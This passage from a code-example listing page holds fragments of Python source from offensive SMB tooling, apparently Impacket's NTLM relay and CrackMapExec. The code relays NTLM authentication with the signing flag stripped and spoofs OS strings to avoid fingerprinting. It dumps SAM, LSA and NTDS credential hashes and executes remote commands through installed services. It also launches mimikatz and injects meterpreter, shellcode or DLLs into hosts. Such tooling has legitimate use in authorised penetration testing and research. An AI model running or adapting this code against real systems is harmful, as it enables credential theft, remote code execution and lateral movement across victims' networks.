                return "TRUE"
            except scmr.DCERPCException as e:
                pass
        return "FALSE"
Ejemplo n.º 16
0
class SMBAttack(Thread):
    def __init__(self, config, SMBClient, username):
        Thread.__init__(self)
        self.daemon = True
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.config = config
        self.__answerTMP = ""
        if self.config.interactive:
            # Launch locally listening interactive shell
            self.tcpshell = TcpShell()
        else:
            self.tcpshell = None
            if self.config.exeFile is not None:
                self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            logging.info("Started interactive SMB client shell via TCP on 127.0.0.1:%d" % self.tcpshell.port)
            # Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                logging.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes

            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something wen't wrong, most probably we don't have access as admin. aborting
                logging.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ""
                    self.__SMBConnection.getFile("ADMIN$", "Temp\\__output", self.__answer)
                    self.__SMBConnection.deleteFile("ADMIN$", "Temp\\__output")
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost() + "_samhashes")
                    logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                logging.error(str(e))
            finally:
Ejemplo n.º 17
0
    def __init__(self, args, db, host, module, cmeserver):
        self.args = args
        self.db = db
        self.host = host
        self.module = module
        self.cmeserver = cmeserver
        self.conn = None
        self.hostname = None
        self.domain = None
        self.server_os = None
        self.logger = None
        self.password = None
        self.username = None
        self.hash = None
        self.admin_privs = False
        self.failed_logins = 0

        try:
            smb = SMBConnection(self.host, self.host, None, self.args.smb_port)

            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            #Get the remote ip address (in case the target is a hostname)
            remote_ip = smb.getRemoteHost()

            try:
                smb.login('' , '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.host = remote_ip
            self.domain   = smb.getServerDomain()
            self.hostname = smb.getServerName()
            self.server_os = smb.getServerOS()

            if not self.domain:
                self.domain = self.hostname

            self.db.add_host(self.host, self.hostname, self.domain, self.server_os)

            self.logger = CMEAdapter(getLogger('CME'), {
                                                        'host': self.host,
                                                        'port': self.args.smb_port,
                                                        'hostname': u'{}'.format(self.hostname)
                                                       })

            self.logger.info(u"{} (name:{}) (domain:{})".format(
                                                                self.server_os,
                                                                self.hostname.decode('utf-8'),
                                                                self.domain.decode('utf-8')
                                                                ))

            try:
                '''
                    DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                    (go home Windows, you're drunk)
                '''
                smb.logoff()
            except:
                pass

            if self.args.mssql:
                instances = None
                self.logger.extra['port'] = self.args.mssql_port

                mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                mssql.connect()

                instances = mssql.getInstances(10)
                if len(instances) > 0:
                    self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                    for i, instance in enumerate(instances):
                        self.logger.highlight("Instance {}".format(i))
                        for key in instance.keys():
                            self.logger.highlight(key + ":" + instance[key])

                try:
                    mssql.disconnect()
                except:
                    pass

            if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:

                if self.args.mssql and (instances is not None and len(instances) > 0):
                    self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                    self.conn.connect()

                elif not args.mssql:
                    self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)

        except socket.error:
            pass

        if self.conn:
            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

            self.login()

            if ((self.password is not None or self.hash is not None) and self.username is not None):

                if self.module:
                    module_logger = CMEAdapter(getLogger('CME'), {
                                                                  'module': module.name.upper(),
                                                                  'host': self.host,
                                                                  'port': self.args.smb_port,
                                                                  'hostname': self.hostname
                                                                 })
                    context = Context(self.db, module_logger, self.args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if hasattr(module, 'on_login'):
                        module.on_login(context, self)

                    if hasattr(module, 'on_admin_login') and self.admin_privs:
                        module.on_admin_login(context, self)

                elif self.module is None:
                    for k, v in vars(self.args).iteritems():
                        if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                            if v is not False and v is not None:
                                getattr(self, k)()
Ejemplo n.º 18
0
    def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
        self.args = args
        self.db = db
        self.host = host
        self.module = module
        self.chain_list = chain_list
        self.cmeserver = cmeserver
        self.share_name = share_name
        self.conn = None
        self.hostname = None
        self.domain = None
        self.server_os = None
        self.logger = None
        self.password = None
        self.username = None
        self.hash = None
        self.admin_privs = False
        self.failed_logins = 0
        
        try:
            smb = SMBConnection(self.host, self.host, None, self.args.smb_port)

            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            #Get the remote ip address (in case the target is a hostname) 
            remote_ip = smb.getRemoteHost()

            try:
                smb.login('' , '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.host = remote_ip
            self.domain   = smb.getServerDomain()
            self.hostname = smb.getServerName()
            self.server_os = smb.getServerOS()

            if not self.domain:
                self.domain = self.hostname

            self.db.add_host(self.host, self.hostname, self.domain, self.server_os)

            self.logger = CMEAdapter(getLogger('CME'), {
                                                        'host': self.host, 
                                                        'port': self.args.smb_port,
                                                        'hostname': u'{}'.format(self.hostname)
                                                       })

            self.logger.info(u"{} (name:{}) (domain:{})".format(
                                                                self.server_os,
                                                                self.hostname.decode('utf-8'), 
                                                                self.domain.decode('utf-8')
                                                                ))

            try:
                '''
                    DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                    (go home Windows, you're drunk)
                '''
                smb.logoff()
            except:
                pass

            if self.args.mssql:
                instances = None
                self.logger.extra['port'] = self.args.mssql_port

                mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                mssql.connect()

                instances = mssql.getInstances(10)
                if len(instances) > 0:
                    self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                    for i, instance in enumerate(instances):
                        self.logger.highlight("Instance {}".format(i))
                        for key in instance.keys():
                            self.logger.highlight(key + ":" + instance[key])

                try:
                    mssql.disconnect()
                except:
                    pass

            if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:
                
                if self.args.mssql and (instances is not None and len(instances) > 0):
                    self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                    self.conn.connect()
                
                elif not args.mssql:
                    self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)

        except socket.error:
            pass

        if self.conn:
            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

            self.login()

            if (self.password is not None or self.hash is not None) and self.username is not None:

                if self.module or self.chain_list:

                    if self.chain_list:
                        module = self.chain_list[0]['object']

                    module_logger = CMEAdapter(getLogger('CME'), {
                                                                  'module': module.name.upper(), 
                                                                  'host': self.host, 
                                                                  'port': self.args.smb_port, 
                                                                  'hostname': self.hostname
                                                                 })
                    context = Context(self.db, module_logger, self.args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if self.module:

                        launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
                        payload = module.payload(context, None if not hasattr(module, 'command') else module.command)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self, launcher, payload)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                    elif self.chain_list:
                        module_list = self.chain_list[:]
                        module_list.reverse()

                        final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
                        if len(module_list) > 2:
                            for m in module_list:
                                if m['object'] == module or m['object'] == module_list[0]['object']:
                                    continue
                                
                                final_launcher = m['object'].launcher(context, final_launcher)

                        if module == module_list[0]['object']: 
                            final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
                        
                        launcher = module.launcher(context, final_launcher)
                        payload  = module.payload(context, final_launcher)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                elif self.module is None and self.chain_list is None:
                    for k, v in vars(self.args).iteritems():
                        if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                            if v is not False and v is not None:
                                getattr(self, k)()
Ejemplo n.º 19
0
def connect(host):
    """
        My imagination flowed free when coming up with this name
        This is where all the magic happens
    """

    try:

        smb = SMBConnection(host, host, None, settings.args.port)
        try:
            smb.login("", "")
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        print_status(
            u"{}:{} is running {} (name:{}) (domain:{})".format(
                host, settings.args.port, smb.getServerOS(), s_name, domain
            )
        )

        try:
            """
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            """
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            smb = SMBConnection(host, host, None, settings.args.port)

        if (
            settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)
        ) or settings.args.combo_file:

            smb = smart_login(host, smb, domain)
            # Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                rfs = RemoteFileSystem(host, smb)
                if settings.args.delete:
                    rfs.delete()
                if settings.args.download:
                    rfs.download()
                if settings.args.upload:
                    rfs.upload()
                if settings.args.list:
                    rfs.list()

            if settings.args.enum_shares:
                shares = SHAREDUMP(smb)
                shares.dump(host)

            if settings.args.enum_users:
                users = SAMRDump(
                    "{}/SMB".format(settings.args.port),
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    settings.args.hash,
                    settings.args.aesKey,
                    settings.args.kerb,
                )
                users.dump(host)

            if settings.args.sam or settings.args.lsa or settings.args.ntds:
                dumper = DumpSecrets(host, settings.args.port, "logs/{}".format(host), smb, settings.args.kerb)

                dumper.do_remote_ops()
                if settings.args.sam:
                    dumper.dump_SAM()
                if settings.args.lsa:
                    dumper.dump_LSA()
                if settings.args.ntds:
                    dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet)
                dumper.cleanup()

            if settings.args.pass_pol:
                pass_pol = PassPolDump(
                    "{}/SMB".format(settings.args.port),
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    settings.args.hash,
                    settings.args.aesKey,
                    settings.args.kerb,
                )
                pass_pol.dump(host)

            if settings.args.rid_brute:
                lookup = LSALookupSid(
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    "{}/SMB".format(settings.args.port),
                    settings.args.hash,
                    settings.args.rid_brute,
                )
                lookup.dump(host)

            if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                rpc_query = RPCQUERY(settings.args.user, settings.args.passwd, domain, settings.args.hash)

                if settings.args.enum_sessions:
                    rpc_query.enum_sessions(host)
                if settings.args.enum_disks:
                    rpc_query.enum_disks(host)
                if settings.args.enum_lusers:
                    rpc_query.enum_lusers(host)

            if settings.args.spider:
                smb_spider = SMBSPIDER(host, smb)
                smb_spider.spider(settings.args.spider, settings.args.depth)
                smb_spider.finish()

            if settings.args.wmi_query:
                wmi_query = WMIQUERY(
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    settings.args.hash,
                    settings.args.kerb,
                    settings.args.aesKey,
                )

                wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)

            if settings.args.check_uac:
                uac = UACdump(smb, settings.args.kerb)
                uac.run()

            if settings.args.enable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.enable()

            if settings.args.disable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.disable()

            if settings.args.command:
                EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb)

            if settings.args.pscommand:
                EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb)

            if settings.args.mimikatz:
                powah_command = PowerSploit(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(), host, domain, True, smb)

            if settings.args.mimikatz_cmd:
                powah_command = PowerSploit(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb)

            if settings.args.inject:
                powah_command = PowerSploit(settings.args.server, local_ip)
                if settings.args.inject.startswith("met_"):
                    EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb)

                if settings.args.inject == "shellcode":
                    EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb)

                if settings.args.inject == "dll" or settings.args.inject == "exe":
                    EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb)
        try:
            smb.logoff()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose:
            traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose:
            traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose:
            traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose:
            print_error(str(e))
        return
Ejemplo n.º 20
0
class SMBRelayClient(ProtocolClient):
    PLUGIN_NAME = "SMB"

    def __init__(self,
                 serverConfig,
                 target,
                 targetPort=445,
                 extendedSecurity=True):
        ProtocolClient.__init__(self, serverConfig, target, targetPort,
                                extendedSecurity)
        self.extendedSecurity = extendedSecurity

        self.domainIp = None
        self.machineAccount = None
        self.machineHashes = None
        self.sessionData = {}

        self.keepAliveHits = 1

    def keepAlive(self):
        # SMB Keep Alive more or less every 5 minutes
        if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
            # Time to send a packet
            # Just a tree connect / disconnect to avoid the session timeout
            tid = self.session.connectTree('IPC$')
            self.session.disconnectTree(tid)
            self.keepAliveHits = 1
        else:
            self.keepAliveHits += 1

    def killConnection(self):
        if self.session is not None:
            self.session.close()
            self.session = None

    def initConnection(self):
        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     manualNegotiate=True)
        #,preferredDialect=SMB_DIALECT)
        if self.serverConfig.smb2support is True:
            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        else:
            data = '\x02NT LM 0.12\x00'

        if self.extendedSecurity is True:
            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        else:
            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        try:
            packet = self.session.negotiateSessionWildcard(
                None,
                self.targetHost,
                self.targetHost,
                self.targetPort,
                60,
                self.extendedSecurity,
                flags1=SMB.FLAGS1_PATHCASELESS
                | SMB.FLAGS1_CANONICALIZED_PATHS,
                flags2=flags2,
                data=data)
        except socketerror as e:
            if 'reset by peer' in str(e):
                if not self.serverConfig.smb2support:
                    LOG.error(
                        'SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support'
                    )
                else:
                    LOG.error('SMBCLient error: Connection was reset')
            else:
                LOG.error('SMBCLient error: %s' % str(e))
            return False
        if packet[0] == '\xfe':
            smbClient = MYSMB3(self.targetHost,
                               self.targetPort,
                               self.extendedSecurity,
                               nmbSession=self.session.getNMBServer(),
                               negPacket=packet)
        else:
            # Answer is SMB packet, sticking to SMBv1
            smbClient = MYSMB(self.targetHost,
                              self.targetPort,
                              self.extendedSecurity,
                              nmbSession=self.session.getNMBServer(),
                              negPacket=packet)

        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     existingConnection=smbClient,
                                     manualNegotiate=True)

        return True

    def setUid(self, uid):
        self._uid = uid

    def sendNegotiate(self, negotiateMessage):
        negotiate = NTLMAuthNegotiate()
        negotiate.fromString(negotiateMessage)
        #Remove the signing flag
        negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge

        return challenge

    def sendNegotiatev2(self, negotiateMessage):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        # Let's build a NegTokenInit with the NTLMSSP
        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [
            TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
        ]
        blob['MechToken'] = str(negotiateMessage)

        sessionSetup['SecurityBufferLength'] = len(blob)
        sessionSetup['Buffer'] = blob.getData()

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        packetID = v2client.sendSMB(packet)
        ans = v2client.recvSMB(packetID)
        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
            v2client._Session['SessionID'] = ans['SessionID']
            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
            respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
            return respToken['ResponseToken']

        return False

    def sendNegotiatev1(self, negotiateMessage):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
            smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE

        # Just in case, clear the Unicode Flag
        flags2 = v1client.get_flags()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize'] = 65535
        sessionSetup['Parameters']['MaxMpxCount'] = 2
        sessionSetup['Parameters']['VcNumber'] = 1
        sessionSetup['Parameters']['SessionKey'] = 0
        sessionSetup['Parameters'][
            'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Let's build a NegTokenInit with the NTLMSSP
        # TODO: In the future we should be able to choose different providers

        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [
            TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
        ]
        blob['MechToken'] = str(negotiateMessage)

        sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
        sessionSetup['Parameters'].getData()
        sessionSetup['Data']['SecurityBlob'] = blob.getData()

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS'] = 'Unix'
        sessionSetup['Data']['NativeLanMan'] = 'Samba'

        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)
        smb = v1client.recvSMB()

        try:
            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
        except Exception:
            LOG.error("SessionSetup Error!")
            raise
        else:
            # We will need to use this uid field for all future requests/responses
            v1client.set_uid(smb['Uid'])

            # Now we have to extract the blob to continue the auth process
            sessionResponse = SMBCommand(smb['Data'][0])
            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(
                sessionResponse['Parameters'])
            sessionData = SMBSessionSetupAndX_Extended_Response_Data(
                flags=smb['Flags2'])
            sessionData['SecurityBlobLength'] = sessionParameters[
                'SecurityBlobLength']
            sessionData.fromString(sessionResponse['Data'])
            respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])

            return respToken['ResponseToken']

    def sendStandardSecurityAuth(self, sessionSetupData):
        v1client = self.session.getSMBServer()
        flags2 = v1client.get_flags()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
        if sessionSetupData['Account'] != '':
            smb = NewSMBPacket()
            smb['Flags1'] = 8

            sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
            sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
            sessionSetup['Data'] = SMBSessionSetupAndX_Data()

            sessionSetup['Parameters']['MaxBuffer'] = 65535
            sessionSetup['Parameters']['MaxMpxCount'] = 2
            sessionSetup['Parameters']['VCNumber'] = os.getpid()
            sessionSetup['Parameters'][
                'SessionKey'] = v1client._dialects_parameters['SessionKey']
            sessionSetup['Parameters']['AnsiPwdLength'] = len(
                sessionSetupData['AnsiPwd'])
            sessionSetup['Parameters']['UnicodePwdLength'] = len(
                sessionSetupData['UnicodePwd'])
            sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE

            sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
            sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
            sessionSetup['Data']['Account'] = str(sessionSetupData['Account'])
            sessionSetup['Data']['PrimaryDomain'] = str(
                sessionSetupData['PrimaryDomain'])
            sessionSetup['Data']['NativeOS'] = 'Unix'
            sessionSetup['Data']['NativeLanMan'] = 'Samba'

            smb.addCommand(sessionSetup)

            v1client.sendSMB(smb)
            smb = v1client.recvSMB()
            try:
                smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
            except:
                return None, STATUS_LOGON_FAILURE
            else:
                v1client.set_uid(smb['Uid'])
                return smb, STATUS_SUCCESS
        else:
            # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
            clientResponse = None
            errorCode = STATUS_ACCESS_DENIED

        return clientResponse, errorCode

    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B',
                  str(authenticateMessageBlob)
                  [:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            # We need to wrap the NTLMSSP into SPNEGO
            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = str(authenticateMessageBlob)
            authData = respToken2.getData()
        else:
            authData = str(authenticateMessageBlob)

        if self.session.getDialect() == SMB_DIALECT:
            token, errorCode = self.sendAuthv1(authData, serverChallenge)
        else:
            token, errorCode = self.sendAuthv2(authData, serverChallenge)
        return token, errorCode

    def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        # Reusing the previous structure
        sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
        sessionSetup['Buffer'] = authenticateMessageBlob

        packetID = v2client.sendSMB(packet)
        packet = v2client.recvSMB(packetID)

        return packet, packet['Status']

    def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
            smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
        smb['Uid'] = v1client.get_uid()

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize'] = 65535
        sessionSetup['Parameters']['MaxMpxCount'] = 2
        sessionSetup['Parameters']['VcNumber'] = 1
        sessionSetup['Parameters']['SessionKey'] = 0
        sessionSetup['Parameters'][
            'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS'] = 'Unix'
        sessionSetup['Data']['NativeLanMan'] = 'Samba'

        sessionSetup['Parameters']['SecurityBlobLength'] = len(
            authenticateMessageBlob)
        sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)

        smb = v1client.recvSMB()

        errorCode = smb['ErrorCode'] << 16
        errorCode += smb['_reserved'] << 8
        errorCode += smb['ErrorClass']

        return smb, errorCode

    def getStandardSecurityChallenge(self):
        if self.session.getDialect() == SMB_DIALECT:
            return self.session.getSMBServer().get_encryption_key()
        else:
            return None
Ejemplo n.º 21
0
def connect(host):
    '''
        My imagination flowed free when coming up with this name
        This is where all the magic happens
    '''

    try:

        smb = SMBConnection(host, host, None, settings.args.port)
        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        print_status(u"{}:{} is running {} (name:{}) (domain:{})".format(host, settings.args.port, smb.getServerOS(), s_name, domain))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            smb = SMBConnection(host, host, None, settings.args.port)

        if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file:

            smb = smart_login(host, smb, domain)
            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                rfs = RemoteFileSystem(host, smb)
                if settings.args.delete:
                    rfs.delete()
                if settings.args.download:
                    rfs.download()
                if settings.args.upload:
                    rfs.upload()
                if settings.args.list:
                    rfs.list()

            if settings.args.enum_shares:
                shares = SHAREDUMP(smb)
                shares.dump(host)

            if settings.args.enum_users:
                users = SAMRDump('{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain, 
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                users.dump(host)

            if settings.args.sam or settings.args.lsa or settings.args.ntds:
                dumper = DumpSecrets(host,
                                     settings.args.port,
                                     'logs/{}'.format(host),
                                     smb,
                                     settings.args.kerb)

                dumper.do_remote_ops()
                if settings.args.sam:
                    dumper.dump_SAM()
                if settings.args.lsa:
                    dumper.dump_LSA()
                if settings.args.ntds:
                    dumper.dump_NTDS(settings.args.ntds,
                                     settings.args.ntds_history,
                                     settings.args.ntds_pwdLastSet)
                dumper.cleanup()

            if settings.args.pass_pol:
                pass_pol = PassPolDump('{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain, 
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                pass_pol.dump(host)

            if settings.args.rid_brute:
                lookup = LSALookupSid(settings.args.user,
                                      settings.args.passwd,
                                      domain,
                                      '{}/SMB'.format(settings.args.port), 
                                      settings.args.hash, 
                                      settings.args.rid_brute)
                lookup.dump(host)

            if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                rpc_query = RPCQUERY(settings.args.user, 
                                     settings.args.passwd, 
                                     domain, 
                                     settings.args.hash)

                if settings.args.enum_sessions:
                    rpc_query.enum_sessions(host)
                if settings.args.enum_disks:
                    rpc_query.enum_disks(host)
                if settings.args.enum_lusers:
                    rpc_query.enum_lusers(host)

            if settings.args.spider:
                smb_spider = SMBSPIDER(host, smb)
                smb_spider.spider(settings.args.spider, settings.args.depth)
                smb_spider.finish()

            if settings.args.wmi_query:
                wmi_query = WMIQUERY(settings.args.user, 
                                     settings.args.passwd, 
                                     domain, 
                                     settings.args.hash,
                                     settings.args.kerb,
                                     settings.args.aesKey)

                wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)

            if settings.args.check_uac:
                uac = UACdump(smb, settings.args.kerb)
                uac.run()

            if settings.args.enable_wdigest:
